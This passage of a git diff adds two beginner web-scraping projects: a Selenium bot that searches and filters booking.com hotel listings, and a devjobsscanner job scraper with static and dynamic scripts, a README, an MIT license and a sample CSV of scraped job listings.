element by class name + + # div_child=self.find_element(By.CLASS_NAME,'b2b5147b20') + # # children_btn=div_child.find_element(By.CSS_SELECTOR,(By.CSS_SELECTOR,'button[class="fc63351194 a822bdf511 e3c025e003 fa565176a8 f7db01295e c334e6f658 e1b7cfea84 d64a4ea64d"]')) + # # children_btn=wait.until(cz) + # children_btn = div_child.find_element(By.CSS_SELECTOR, 'button.fc63351194.a822bdf511.e3c025e003.fa565176a8.f7db01295e.c334e6f658.e1b7cfea84.d64a4ea64d') + + # while(child): + # children_btn.click() + # time.sleep(0.02) + # child-=1 + # time.sleep(0.1) + + # room_btn=self.find_element(By.CSS_SELECTOR,'button[class="fc63351294 a822bdf511 e3c025e003 fa565176a8 f7db01295e c334e6f658 e1b7cfea84 d64a4ea64d"]') + # if(rooms==1): + # print("rooms adjusted") + # else: + # while(rooms): + # room_btn.click() + # time.sleep(0.02) + # rooms-=1 + # print("rooms adjusted") diff --git a/WEB SCRAPING/bot/booking/__init__.py b/WEB SCRAPING/bot/booking/__init__.py new file mode 100644 index 00000000..82778ddb --- /dev/null +++ b/WEB SCRAPING/bot/booking/__init__.py @@ -0,0 +1 @@ +# print("i will be first") \ No newline at end of file diff --git a/WEB SCRAPING/bot/booking/__pycache__/__init__.cpython-311.pyc b/WEB SCRAPING/bot/booking/__pycache__/__init__.cpython-311.pyc new file mode 100644 index 00000000..8e9075e2 Binary files /dev/null and b/WEB SCRAPING/bot/booking/__pycache__/__init__.cpython-311.pyc differ diff --git a/WEB SCRAPING/bot/booking/__pycache__/booking.cpython-311.pyc b/WEB SCRAPING/bot/booking/__pycache__/booking.cpython-311.pyc new file mode 100644 index 00000000..5497f1ab Binary files /dev/null and b/WEB SCRAPING/bot/booking/__pycache__/booking.cpython-311.pyc differ diff --git a/WEB SCRAPING/bot/booking/__pycache__/booking_filteration.cpython-311.pyc b/WEB SCRAPING/bot/booking/__pycache__/booking_filteration.cpython-311.pyc new file mode 100644 index 00000000..b9d0c79d Binary files /dev/null and b/WEB SCRAPING/bot/booking/__pycache__/booking_filteration.cpython-311.pyc differ diff --git a/WEB SCRAPING/bot/booking/__pycache__/booking_report.cpython-311.pyc b/WEB SCRAPING/bot/booking/__pycache__/booking_report.cpython-311.pyc new file mode 100644 index 00000000..d8b39200 Binary files /dev/null and b/WEB SCRAPING/bot/booking/__pycache__/booking_report.cpython-311.pyc differ diff --git a/WEB SCRAPING/bot/booking/__pycache__/constants.cpython-311.pyc b/WEB SCRAPING/bot/booking/__pycache__/constants.cpython-311.pyc new file mode 100644 index 00000000..23cfbb81 Binary files /dev/null and b/WEB SCRAPING/bot/booking/__pycache__/constants.cpython-311.pyc differ diff --git a/WEB SCRAPING/bot/booking/booking.py b/WEB SCRAPING/bot/booking/booking.py new file mode 100644 index 00000000..d021b97b --- /dev/null +++ b/WEB SCRAPING/bot/booking/booking.py @@ -0,0 +1,129 @@ +import types +import typing +from selenium import webdriver +import booking.constants as cons +from selenium.webdriver.common.by import By +from selenium.webdriver.support.ui import WebDriverWait +from selenium.webdriver.support import expected_conditions as ec +import os +from selenium.webdriver.common.keys import Keys as keys +from booking.booking_filteration import booking_filter +import time +from booking.booking_report import booking_report +from selenium.common.exceptions import StaleElementReferenceException, NoSuchElementException +from prettytable import PrettyTable + +class booking(webdriver.Chrome): + + def __init__(self,driver_path=r"C:\Users\kaifk\lpth\selenium",teardown=False): + self.teardown=teardown + self.driver_path=driver_path + os.environ['PATH']+=self.driver_path + # options=webdriver.ChromeOptions() + # options.add_experimental_option('excludeswitches',['enable-logging']) + + super(booking,self).__init__() + self.implicitly_wait(15) + self.maximize_window() + + def __exit__(self, exc_type, exc_val, exc_tb): + if(self.teardown): + self.quit() + + def land_first_page(self): + self.get(cons.base_url) + + def cross_check(self): + try: + wait=WebDriverWait(self,15) + condition = ec.visibility_of_element_located((By.CSS_SELECTOR,'button[aria-label="Dismiss sign-in info."]')) + btn=wait.until(condition) + btn.click() + except Exception as e : + time.sleep(0.2) + + + + + + + def change_currency(self,currency=None): + wait=WebDriverWait(self,15) + # condition2 = ec.visibility_of_element_located((By.CSS_SELECTOR, 'button[data-testid="' + str('header-currency-picker-trigger') + '"]')) + condition2 = ec.visibility_of_element_located((By.CSS_SELECTOR, 'button[data-testid="header-currency-picker-trigger"]')) + currency_btn=wait.until(condition2) + currency_btn.click() + + selected_item=ec.visibility_of_element_located((By.CSS_SELECTOR,'button[class="fc63351294 ea925ef36a bf97d4018a ae8177da1f cddb75f1fd"]')) + selected_item_btn=wait.until(selected_item) + selected_item_btn.click() + def select_searchbar(self,place_to_go): + search_field=self.find_element(By.ID,":Ra9:") + search_field.clear() + time.sleep(0.5) + search_field.send_keys(place_to_go) + time.sleep(2) + search_field.send_keys(keys.ENTER) + def enter_dates(self,checkin,checkout): + wait=WebDriverWait(self,15) + condition2 = ec.visibility_of_element_located((By.CSS_SELECTOR, f'span[data-date="{checkin}"]')) + checkin_date=wait.until(condition2) + checkin_date.click() + condition2 = ec.visibility_of_element_located((By.CSS_SELECTOR, f'span[data-date="{checkout}"]')) + checkout_data=wait.until(condition2) + checkout_data.click() + def booking_count_inc(self,adult,child=None,rooms=None): + wait=WebDriverWait(self,10) + selector=self.find_element(By.CSS_SELECTOR,'button[data-testid="occupancy-config"]') + selector.click() + time.sleep(1) + div_element = self.find_element(By.CLASS_NAME,"e98c626f34") # Find the
element by class name + adult_btn = div_element.find_element(By.CSS_SELECTOR,"button.fc63351294.a822bdf511.e3c025e003.fa565176a8.f7db01295e.c334e6f658.e1b7cfea84.d64a4ea64d") # Find the button within the
using CSS selector + + if(adult==1): + adult_btn = div_element.find_element(By.CSS_SELECTOR,'button[class="fc63351294 a822bdf511 e3c025e003 fa565176a8 f7db01295e c334e6f658 e1b7cfea84 cd7aa7c891"]') # Find the button within the
using CSS selector + adult_btn.click() + + if(adult==2): + print("guests added successfully") + else: + while(adult-2): + adult_btn.click() + time.sleep(0.02) + adult-=1 + print("guests added successfully") + # outer_div=self.find_element(By.CLASS_NAME , 'df856d97eb') + # print(outer_div) + + + + + def click_search(self): + search_icon=self.find_element(By.CSS_SELECTOR,"button[class='fc63351294 a822bdf511 d4b6b7a9e7 cfb238afa1 c938084447 f4605622ad aa11d0d5cd']") + search_icon.click() + + def apply_filtration(self): + filteration=booking_filter(driver=self) + filteration.apply_star(4,5) + filteration.sort_low_to_high() + + def report_results(self): + boxes=self.find_element(By.ID,"search_results_table") + report=booking_report(boxes) + table=PrettyTable( + field_names=["Hotel Name", "Price per night","Star Rating"] + + ) + table.add_rows(report.pull_attributes()) + print(table) + + + + + + + + + + + diff --git a/WEB SCRAPING/bot/booking/booking_filteration.py b/WEB SCRAPING/bot/booking/booking_filteration.py new file mode 100644 index 00000000..d58aa679 --- /dev/null +++ b/WEB SCRAPING/bot/booking/booking_filteration.py @@ -0,0 +1,29 @@ +from selenium.webdriver.remote.webdriver import WebDriver +from selenium.webdriver.common.by import By +from selenium.webdriver.support import expected_conditions as ec +from selenium.webdriver.support.ui import WebDriverWait +import time +class booking_filter: + def __init__(self,driver:WebDriver): + self.driver=driver + + + + + def apply_star(self,*stars): + box=self.driver.find_element(By.CSS_SELECTOR,"div[data-filters-group='class']") + star_child_elements=box.find_elements(By.CSS_SELECTOR,"*") + for s in stars: + time.sleep(0.2) + for i in star_child_elements: + if str(i.get_attribute('innerHTML')).strip() == f'{s} stars': + i.click() + def sort_low_to_high(self): + low_price = self.driver.find_element(By.CSS_SELECTOR,'button[data-testid="sorters-dropdown-trigger"]') + low_price.click() + wait=WebDriverWait(self.driver,10) + + condition=ec.visibility_of_element_located((By.CSS_SELECTOR,'button[data-id="class"]')) + btn_sort=wait.until(condition) + btn_sort.click() + diff --git a/WEB SCRAPING/bot/booking/booking_report.py b/WEB SCRAPING/bot/booking/booking_report.py new file mode 100644 index 00000000..3c89af29 --- /dev/null +++ b/WEB SCRAPING/bot/booking/booking_report.py @@ -0,0 +1,42 @@ +#file is going to include methods that will parse +# the specific data that we need from each boxes +from selenium.webdriver.remote.webelement import WebElement +from selenium.webdriver.common.by import By + +from selenium.common.exceptions import StaleElementReferenceException, NoSuchElementException + +class booking_report: + def __init__(self,boxes_sec:WebElement) -> None: + self.boxes_sec=boxes_sec + self.hotel_names=self.pull_deal_boxes() + + def pull_deal_boxes(self): + return self.boxes_sec.find_elements(By.CLASS_NAME,"a826ba81c4") + + + def pull_attributes(self): + collections=[] + try: + if len(self.hotel_names) > 0: + for i in self.hotel_names: + try: + hotel_name_element = i.find_element(By.CSS_SELECTOR,"[data-testid='title']") + hotel_name = hotel_name_element.get_attribute('innerHTML').strip() + + hotel_price=i.find_element(By.CSS_SELECTOR,"span[data-testid='price-and-discounted-price']").get_attribute('innerHTML').strip() + score_element = i.find_element(By.CSS_SELECTOR, "div[data-testid='review-score'] div[class='b5cd09854e d10a6220b4']") + collections.append([hotel_name,hotel_price,score_element.text]) + + + + except StaleElementReferenceException: + print("Stale element reference exception occurred while retrieving hotel name.") + except NoSuchElementException: + print("Hotel name element not found for this item.") + else: + collections.append([None,None,None]) + except StaleElementReferenceException: + self.refresh() + + return collections + diff --git a/WEB SCRAPING/bot/booking/constants.py b/WEB SCRAPING/bot/booking/constants.py new file mode 100644 index 00000000..74b98a35 --- /dev/null +++ b/WEB SCRAPING/bot/booking/constants.py @@ -0,0 +1,2 @@ +base_url="https://www.booking.com" + diff --git a/WEB SCRAPING/bot/run.py b/WEB SCRAPING/bot/run.py new file mode 100644 index 00000000..7861beb3 --- /dev/null +++ b/WEB SCRAPING/bot/run.py @@ -0,0 +1,30 @@ +from booking.booking import booking +import time +bot=booking() +try: + with bot: + bot.land_first_page() + print('exiting .......') + bot.cross_check() + bot.change_currency() + bot.select_searchbar("New York") + bot.enter_dates(checkin="2023-07-16",checkout="2023-07-21") + bot.booking_count_inc(4,None,None) + bot.click_search() + bot.apply_filtration() + bot.refresh() + bot.report_results() + + # print(len(bot.report_results())) + +except Exception as e: + if 'in PATH' in e: + print("there is a problem at CLI ", e ) + print("add path as ") + print("windows : PATH=%PATH%;C:PATH-TO-YOUR-FOLDER") + else: + raise + + +time.sleep(100) +bot.quit() diff --git a/WEB SCRAPING/devJobsScanner_Scraper/LICENSE b/WEB SCRAPING/devJobsScanner_Scraper/LICENSE new file mode 100644 index 00000000..59c6af06 --- /dev/null +++ b/WEB SCRAPING/devJobsScanner_Scraper/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2024 Asib Hossen + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/WEB SCRAPING/devJobsScanner_Scraper/ReadME.md b/WEB SCRAPING/devJobsScanner_Scraper/ReadME.md new file mode 100644 index 00000000..310a02f4 --- /dev/null +++ b/WEB SCRAPING/devJobsScanner_Scraper/ReadME.md @@ -0,0 +1,81 @@ +# devJobScanner Job Scraper + +## Description +This repository contains two scripts designed to scrape job listings from a specified website. Users can input their desired job title, remote work preference, sorting preference, and choose how to save the output (CSV, TXT, or both). + +## Scripts + +### Script 1: `job_scraper_static.py` +- Scrapes job listings using the `requests` library and `BeautifulSoup`. +- Displays job details in the console. +- Saves job details in CSV and/or TXT format. +- Suitable for static page scraping. + +### Script 2: `job_scraper_dynamic.py` +- Enhanced to use `SeleniumBase` for dynamic page interaction. +- Supports infinite scrolling to load more job listings. +- Users can specify the number of job listings to scrape. +- More robust handling of dynamically loaded content. + +## Requirements + +### Common Requirements +- Python 3.x +- `beautifulsoup4` library +- `requests` library + +### Dynamic Script Additional Requirements +- `seleniumbase` library +- WebDriver for your browser (e.g., ChromeDriver for Chrome) + +## Installation +1. Clone the repository: + ```bash + git clone https://github.com/asibhossen897/devJobsScanner-job-scraper.git + cd devJobsScanner-job-scraper + ``` + +2. Install the required libraries: + ```bash + pip install -r requirements.txt + ``` + +3. For `job_scraper_dynamic.py`, ensure you have the appropriate WebDriver installed and available in your PATH. + +## Usage + +### Static Scraper (`job_scraper_static.py`) +1. Run the script: + ```bash + python job_scraper_static.py + ``` + (**If ```python``` does not work, use ```python3```**) + +2. Follow the prompts to input your job search criteria and preferences. + +### Dynamic Scraper (`job_scraper_dynamic.py`) +1. Run the script: + ```bash + python job_scraper_dynamic.py + ``` + (**If ```python``` does not work, use ```python3```**) + +2. Follow the prompts to input your job search criteria, number of jobs to scrape, and preferences. + +## File Structure +- `job_scraper_static.py`: Script for static job scraping. +- `job_scraper_dynamic.py`: Script for dynamic job scraping with SeleniumBase. +- `requirements.txt`: List of required Python libraries. +- `outputFiles/`: Directory where output files (CSV, TXT) are saved. + +## Disclaimer +These scripts are for educational and personal use only. Scraping websites can be against the terms of service of the website being scraped. Always check the website’s terms and conditions before scraping any content. The author is not responsible for any misuse of these scripts. Use at your own risk. + +## License +This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details. + +## Author +Asib Hossen + +## Date +May 21, 2024 diff --git a/WEB SCRAPING/devJobsScanner_Scraper/job_scraper_dynamic.py b/WEB SCRAPING/devJobsScanner_Scraper/job_scraper_dynamic.py new file mode 100644 index 00000000..dbd6467a --- /dev/null +++ b/WEB SCRAPING/devJobsScanner_Scraper/job_scraper_dynamic.py @@ -0,0 +1,184 @@ +# Author: Asib Hossen +# Date: May 21, 2024 +# Description: This script scrapes job listings from https://www.devjobsscanner.com/ based on user input, displays the job details, and optionally saves them as CSV and/or TXT files. +# Version: 1.1 + + +import os +import re +import csv +import time +from seleniumbase import Driver +from bs4 import BeautifulSoup + +def get_user_input(): + """ + Prompt user for job title, remote job preference, number of jobs to scrape, + sorting preference, and save option. + + Returns: + tuple: A tuple containing job title (str), remote job preference (bool), + number of jobs to scrape (int), save option (str), and sorting preference (str). + """ + job = input("Enter the job title: ") + remote = input("Do you want remote jobs only? (yes/no): ").lower() == 'yes' + num_jobs = int(input("Enter the number of jobs you want to scrape: ")) + sort_options = ['matches', 'newest', 'salary'] + print(f"Sort options: {sort_options}") + sort_by = input("Enter the sorting preference (matches/newest/salary): ") + save_option = input("Do you want to save the output as CSV, TXT, or both of them? (csv/txt/both): ").lower() + return job, remote, num_jobs, save_option, sort_by + +def construct_url(job, remote, sort_by): + """ + Construct the URL based on the job title, remote preference, and sorting preference. + + Args: + job (str): The job title. + remote (bool): True if user wants remote jobs only, False otherwise. + sort_by (str): The sorting preference. + + Returns: + str: The constructed URL. + """ + base_url = "https://www.devjobsscanner.com/search/" + search_params = f"?search={job}" + if remote is not None: + search_params += f"&remote={str(remote).lower()}" + if sort_by is not None: + search_params += f"&sort={sort_by}" + url = base_url + search_params + return url + +def scrape_jobs(url, num_jobs): + """ + Scrape job listings from the provided URL using SeleniumBase. + + Args: + url (str): The URL to scrape job listings from. + num_jobs (int): The number of jobs to scrape. + + Returns: + list: A list of dictionaries containing job details. + """ + jobs = [] + try: + driver = Driver(browser="Firefox", headless=False) + driver.get(url) + time.sleep(5) # Initial wait for page load + + while len(jobs) < num_jobs: + soup = BeautifulSoup(driver.page_source, 'html.parser') + job_divs = soup.find_all('div', class_='flex p-3 rounded group relative overflow-hidden') + + for job_div in job_divs: + if len(jobs) >= num_jobs: + break + title = job_div.find('h2').text.strip() + company = job_div.find('div', class_='jbs-dot-separeted-list').find('a').text.strip() + tags = [tag.text.strip() for tag in job_div.find_all('a', class_='tag')] + date_posted = job_div.find('span', class_='text-primary-text').text.strip() + salary = job_div.find('span', class_='text-gray-text').text.strip() + + # Check if the salary contains at least two digits + if not re.search(r'\d{2}', salary): + salary = "Not mentioned" + + job_url = job_div.find('a', class_='jbs-text-hover-link')['href'] + + jobs.append({ + 'title': title, + 'company': company, + 'company_url': f"https://www.devjobsscanner.com/company/{company.lower()}", + 'tags': tags, + 'date_posted': date_posted, + 'salary': salary, + 'job_url': job_url + }) + + # Scroll down to load more jobs + driver.execute_script("window.scrollTo(0, document.body.scrollHeight);") + time.sleep(5) # Wait for new jobs to load + + driver.quit() + return jobs[:num_jobs] + except Exception as e: + print("Error scraping jobs:", e) + return [] + +def display_jobs(jobs): + """ + Display job details to the console. + + Args: + jobs (list): A list of dictionaries containing job details. + """ + for job in jobs: + print(f"Title: {job['title']}") + print(f"Company: {job['company']}") + print(f"Company URL: {job['company_url']}") + print(f"Tags: {', '.join(job['tags'])}") + print(f"Date Posted: {job['date_posted']}") + print(f"Salary: {job['salary']}") + print(f"Job URL: {job['job_url']}") + print("-" * 40) + +def save_as_csv(jobs, filename): + """ + Save job details as CSV file. + + Args: + jobs (list): A list of dictionaries containing job details. + filename (str): The name of the CSV file to save. + """ + output_dir = os.path.join(os.getcwd(), "outputFiles") + os.makedirs(output_dir, exist_ok=True) + keys = jobs[0].keys() + try: + with open(filename, 'w', newline='', encoding='utf-8') as output_file: + dict_writer = csv.DictWriter(output_file, fieldnames=keys) + dict_writer.writeheader() + dict_writer.writerows(jobs) + except IOError as e: + print("Error saving as CSV:", e) + +def save_as_txt(jobs, filename): + """ + Save job details as text file. + + Args: + jobs (list): A list of dictionaries containing job details. + filename (str): The name of the text file to save. + """ + try: + with open(filename, 'w', encoding='utf-8') as output_file: + for job in jobs: + output_file.write(f"Title: {job['title']}\n") + output_file.write(f"Company: {job['company']}\n") + output_file.write(f"Company URL: {job['company_url']}\n") + output_file.write(f"Tags: {', '.join(job['tags'])}\n") + output_file.write(f"Date Posted: {job['date_posted']}\n") + output_file.write(f"Salary: {job['salary']}\n") + output_file.write(f"Job URL: {job['job_url']}\n") + output_file.write("-" * 40 + "\n") + except IOError as e: + print("Error saving as TXT:", e) + +if __name__ == '__main__': + job, remote, num_jobs, save_option, sort_by = get_user_input() + url = construct_url(job, remote, sort_by) + print(f"Scraping URL: {url}") + jobs = scrape_jobs(url, num_jobs) + if jobs: + display_jobs(jobs) + fileName = f"./outputFiles/{job}_jobs_remote_{str(remote).lower()}_sorted_by_{sort_by}" + if save_option == 'csv': + save_as_csv(jobs, f"{fileName}.csv") + elif save_option == 'txt': + save_as_txt(jobs, f"{fileName}.txt") + elif save_option == 'both': + save_as_csv(jobs, f"{fileName}.csv") + save_as_txt(jobs, f"{fileName}.txt") + print(f"Jobs saved as {save_option.upper()} file(s).") + else: + print("No jobs found. Exiting.") diff --git a/WEB SCRAPING/devJobsScanner_Scraper/job_scraper_static.py b/WEB SCRAPING/devJobsScanner_Scraper/job_scraper_static.py new file mode 100644 index 00000000..593fe40f --- /dev/null +++ b/WEB SCRAPING/devJobsScanner_Scraper/job_scraper_static.py @@ -0,0 +1,172 @@ +# Author: Asib Hossen +# Date: May 21, 2024 +# Description: This script scrapes job listings from https://www.devjobsscanner.com/ based on user input, displays the job details, and optionally saves them as CSV and/or TXT files. +# Version: 1.1 + + +import os +import re +import csv +import time +import requests +from bs4 import BeautifulSoup + +def get_user_input(): + """ + Prompt user for job title, remote job preference, sorting preference, + and save option. + + Returns: + tuple: A tuple containing job title (str), remote job preference (bool), + save option (str), and sorting preference (str). + """ + job = input("Enter the job title: ") + remote = input("Do you want remote jobs only? (yes/no): ").lower() == 'yes' + sort_options = ['matches', 'newest', 'salary'] + print(f"Sort options: {sort_options}") + sort_by = input("Enter the sorting preference (matches/newest/salary): ") + save_option = input("Do you want to save the output as CSV, TXT, or both of them? (csv/txt/both): ").lower() + return job, remote, save_option, sort_by + +def construct_url(job, remote, sort_by): + """ + Construct the URL based on the job title, remote preference, and sorting preference. + + Args: + job (str): The job title. + remote (bool): True if user wants remote jobs only, False otherwise. + sort_by (str): The sorting preference. + + Returns: + str: The constructed URL. + """ + base_url = "https://www.devjobsscanner.com/search/" + search_params = f"?search={job}" + if remote is not None: + search_params += f"&remote={str(remote).lower()}" + if sort_by is not None: + search_params += f"&sort={sort_by}" + url = base_url + search_params + return url + +def scrape_jobs(url): + """ + Scrape job listings from the provided URL. + + Args: + url (str): The URL to scrape job listings from. + + Returns: + list: A list of dictionaries containing job details. + """ + try: + response = requests.get(url) + response.raise_for_status() # Raise an exception for HTTP errors + time.sleep(5) # Delay to avoid hitting the server too frequently + soup = BeautifulSoup(response.content, 'html.parser') + + job_divs = soup.find_all('div', class_='flex p-3 rounded group relative overflow-hidden') + jobs = [] + for job_div in job_divs: + title = job_div.find('h2').text.strip() + company = job_div.find('div', class_='jbs-dot-separeted-list').find('a').text.strip() + tags = [tag.text.strip() for tag in job_div.find_all('a', class_='tag')] + date_posted = job_div.find('span', class_='text-primary-text').text.strip() + salary = job_div.find('span', class_='text-gray-text').text.strip() + + # Check if the salary contains at least two digits + if not re.search(r'\d{2}', salary): + salary = "Not mentioned" + + job_url = job_div.find('a', class_='jbs-text-hover-link')['href'] + + jobs.append({ + 'title': title, + 'company': company, + 'company_url': f"https://www.devjobsscanner.com/company/{company.lower()}", + 'tags': tags, + 'date_posted': date_posted, + 'salary': salary, + 'job_url': job_url + }) + return jobs + except requests.RequestException as e: + print("Error scraping jobs:", e) + return [] + +def display_jobs(jobs): + """ + Display job details to the console. + + Args: + jobs (list): A list of dictionaries containing job details. + """ + for job in jobs: + print(f"Title: {job['title']}") + print(f"Company: {job['company']}") + print(f"Company URL: {job['company_url']}") + print(f"Tags: {', '.join(job['tags'])}") + print(f"Date Posted: {job['date_posted']}") + print(f"Salary: {job['salary']}") + print(f"Job URL: {job['job_url']}") + print("-" * 40) + +def save_as_csv(jobs, filename): + """ + Save job details as CSV file. + + Args: + jobs (list): A list of dictionaries containing job details. + filename (str): The name of the CSV file to save. + """ + output_dir = os.path.join(os.getcwd(), "outputFiles") + os.makedirs(output_dir, exist_ok=True) + keys = jobs[0].keys() + try: + with open(filename, 'w', newline='', encoding='utf-8') as output_file: + dict_writer = csv.DictWriter(output_file, fieldnames=keys) + dict_writer.writeheader() + dict_writer.writerows(jobs) + except IOError as e: + print("Error saving as CSV:", e) + +def save_as_txt(jobs, filename): + """ + Save job details as text file. + + Args: + jobs (list): A list of dictionaries containing job details. + filename (str): The name of the text file to save. + """ + try: + with open(filename, 'w', encoding='utf-8') as output_file: + for job in jobs: + output_file.write(f"Title: {job['title']}\n") + output_file.write(f"Company: {job['company']}\n") + output_file.write(f"Company URL: {job['company_url']}\n") + output_file.write(f"Tags: {', '.join(job['tags'])}\n") + output_file.write(f"Date Posted: {job['date_posted']}\n") + output_file.write(f"Salary: {job['salary']}\n") + output_file.write(f"Job URL: {job['job_url']}\n") + output_file.write("-" * 40 + "\n") + except IOError as e: + print("Error saving as TXT:", e) + +if __name__ == '__main__': + job, remote, save_option, sort_by = get_user_input() + url = construct_url(job, remote, sort_by) + print(f"Scraping URL: {url}") + jobs = scrape_jobs(url) + if jobs: + display_jobs(jobs) + fileName = f"./outputFiles/{job}_jobs_remote_{str(remote).lower()}_sorted_by_{sort_by}" + if save_option == 'csv': + save_as_csv(jobs, f"{fileName}.csv") + elif save_option == 'txt': + save_as_txt(jobs, f"{fileName}.txt") + elif save_option == 'both': + save_as_csv(jobs, f"{fileName}.csv") + save_as_txt(jobs, f"{fileName}.txt") + print(f"Jobs saved as {save_option.upper()} file(s).") + else: + print("No jobs found. Exiting.") diff --git a/WEB SCRAPING/devJobsScanner_Scraper/outputFiles/Junior Python Developer_jobs_remote_true_sorted_by_matches.csv b/WEB SCRAPING/devJobsScanner_Scraper/outputFiles/Junior Python Developer_jobs_remote_true_sorted_by_matches.csv new file mode 100644 index 00000000..e7ebe2d8 --- /dev/null +++ b/WEB SCRAPING/devJobsScanner_Scraper/outputFiles/Junior Python Developer_jobs_remote_true_sorted_by_matches.csv @@ -0,0 +1,21 @@ +title,company,company_url,tags,date_posted,salary,job_url +Junior Python Developer - Fully Remote,INDI Staffing Services,https://www.devjobsscanner.com/company/indi staffing services,['python'],4 weeks ago,Not mentioned,https://br.linkedin.com/jobs/view/junior-python-developer-fully-remote-at-indi-staffing-services-3905557993?refId=CIi7kPgOLtsBQ2GdsSUZ6A%3D%3D&trackingId=HjTjhxuOXesYMFynnjZ3sA%3D%3D&position=23&pageNum=15&trk=public_jobs_jserp-result_search-card +Junior Python Developer - Fully Remote,INDI Staffing Services,https://www.devjobsscanner.com/company/indi staffing services,['python'],4 weeks ago,Not mentioned,https://br.linkedin.com/jobs/view/junior-python-developer-fully-remote-at-indi-staffing-services-3905559533?refId=24YIlA6nBIXWZAw2pp8YIQ%3D%3D&trackingId=K0RNbyZF8P1NVP8jSDTZxg%3D%3D&position=14&pageNum=4&trk=public_jobs_jserp-result_search-card +Junior Python Developer - Fully Remote,INDI Staffing Services,https://www.devjobsscanner.com/company/indi staffing services,['python'],4 weeks ago,Not mentioned,https://br.linkedin.com/jobs/view/junior-python-developer-fully-remote-at-indi-staffing-services-3905558971?position=4&pageNum=50&refId=f%2FMDbLRF9jpyu1FP2qKzBA%3D%3D&trackingId=3b3MyV8heftivJ1yAEGDSA%3D%3D&trk=public_jobs_jserp-result_search-card +Junior Python Developer - Fully Remote,INDI Staffing Services,https://www.devjobsscanner.com/company/indi staffing services,['python'],4 weeks ago,Not mentioned,https://br.linkedin.com/jobs/view/junior-python-developer-fully-remote-at-indi-staffing-services-3905564228?position=9&pageNum=25&refId=3vjg%2F7Apk5o3blJ1SV4Trg%3D%3D&trackingId=YQovs1pUWZwPBsIsc%2F%2FeNA%3D%3D&trk=public_jobs_jserp-result_search-card +Junior Python Developer - Fully Remote,INDI Staffing Services,https://www.devjobsscanner.com/company/indi staffing services,['python'],4 weeks ago,Not mentioned,https://co.linkedin.com/jobs/view/junior-python-developer-fully-remote-at-indi-staffing-services-3905560503?position=3&pageNum=2&refId=n%2BIMuq%2BFPiZWMUAdjPElDQ%3D%3D&trackingId=CL5eC5WRkvm518gLzpcuXA%3D%3D&trk=public_jobs_jserp-result_search-card +Junior Python Developer - Fully Remote,INDI Staffing Services,https://www.devjobsscanner.com/company/indi staffing services,['python'],4 weeks ago,Not mentioned,https://co.linkedin.com/jobs/view/junior-python-developer-fully-remote-at-indi-staffing-services-3905560484?position=4&pageNum=2&refId=n%2BIMuq%2BFPiZWMUAdjPElDQ%3D%3D&trackingId=Ns2Q8YkzKL8BpD1ymz7nZw%3D%3D&trk=public_jobs_jserp-result_search-card +Junior Python Developer - Fully Remote,INDI Staffing Services,https://www.devjobsscanner.com/company/indi staffing services,['python'],4 weeks ago,Not mentioned,https://br.linkedin.com/jobs/view/junior-python-developer-fully-remote-at-indi-staffing-services-3905563257?position=2&pageNum=2&refId=bUQQZsGdjsbzIyYszLfYAA%3D%3D&trackingId=BsQara%2F7D3fS3KbgT8qvng%3D%3D&trk=public_jobs_jserp-result_search-card +Junior Python Developer - Fully Remote,INDI Staffing Services,https://www.devjobsscanner.com/company/indi staffing services,['python'],4 weeks ago,Not mentioned,https://br.linkedin.com/jobs/view/junior-python-developer-fully-remote-at-indi-staffing-services-3905564224?position=1&pageNum=97&refId=%2BqnXHLbBBntROtlrbSJwyg%3D%3D&trackingId=NizLf2pvyn21xhEur7DC5g%3D%3D&trk=public_jobs_jserp-result_search-card +Junior Python Developer,Remote,https://www.devjobsscanner.com/company/remote,['python'],3 weeks ago,360K-420K INR,https://www.glassdoor.com/partner/jobListing.htm?pos=110&ao=1136043&tgt=APPLY_START&s=58&guid=0000018f6ee9aef3b4d180f3e6156037&src=GD_JOB_VIEW&t=SR&vt=w&ea=1&cs=1_90bec054&cb=1715552759939&jobListingId=1009261935030&jrtk=5-yul1-0-1htnejbpehdht800-4608d5f7f2223d74 +Python/Django Developer (Junior/Mid level),Remote,https://www.devjobsscanner.com/company/remote,"['python', 'django']",3 weeks ago,$83K-104K,https://www.glassdoor.com/partner/jobListing.htm?pos=1535&ao=1136043&tgt=APPLY_START&s=58&guid=0000018f6afd4e1790ebc43a68a229b4&src=GD_JOB_VIEW&t=SR&vt=w&ea=1&cs=1_c4a3bb53&cb=1715486937283&jobListingId=1009258237173&jrtk=5-yul1-0-1htlfqjioir0k800-8ef82aa48f33eb1f +"Full Stack Developer 80-100% (f/m/x), fully remote",comparis.ch AG,https://www.devjobsscanner.com/company/comparis.ch ag,"['JavaScript', 'TypeScript', 'React', 'Next.js is a must']",2 weeks ago,$50K-60K,https://www.comparis.ch/people/jobs/detail/1483471 +Junior Python Developer,Remote,https://www.devjobsscanner.com/company/remote,['python'],1 month ago,200K-600K INR,https://www.glassdoor.com/partner/jobListing.htm?pos=1007&ao=1136043&tgt=APPLY_START&s=58&guid=0000018f050f36598d01f2ccbf6c4a0c&src=GD_JOB_VIEW&t=SR&vt=w&ea=1&cs=1_ee5c1cb4&cb=1713776834633&jobListingId=1009236729692&jrtk=5-yul1-0-1hs2gudkok7rv807-fc64d05e0d0ad0b8 +Remote Junior AI Developer (Python),Capital Certainty,https://www.devjobsscanner.com/company/capital certainty,['python'],1 month ago,Not 